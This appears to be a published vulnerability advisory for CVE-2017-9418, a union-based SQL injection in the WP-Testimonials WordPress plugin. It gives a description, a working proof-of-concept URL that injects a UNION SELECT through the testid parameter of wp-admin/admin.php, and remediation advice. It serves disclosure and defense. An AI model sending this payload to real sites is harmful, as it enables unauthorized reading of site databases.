WordPress Plugin WP-Testimonials < 3.4.1 - SQL Injection

# Exploit Title: WP-Testimonials < 3.4.1 Union Based SQL Injection
# Date: 03-06-2017
# Exploit Author: Dimitrios Tsagkarakis
# Website: dtsa.eu 
# Software Link: https://en-gb.wordpress.org/plugins/wp-testimonials/
# Vendor Homepage: http://www.sunfrogservices.com/web-programmer/wp-testimonials/
# Version: 3.4.1
# CVE : CVE-2017-9418

# Category: webapps

 

1. Description:

   

SQL injection vulnerability in the WP-Testimonials plugin 3.4.1 for
WordPress allows an authenticated user to execute arbitrary SQL commands via
the testid parameter to wp-admin/admin.php.

2. Proof of Concept:

http://[wordpress_site]/wp-admin/admin.php?page=sfstst_manage&mode=sfststedi
t&testid=-1 UNION ALL SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL--
comment

3. Solution:

   

The plugin has been removed from WordPress. Deactivate the plug-in and wait
for a hotfix.

 

4. Reference:

http://dtsa.eu/wp-testimonials-wordpress-plugin-v-3-4-1-union-based-sql-inje
ction-sqli/

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9418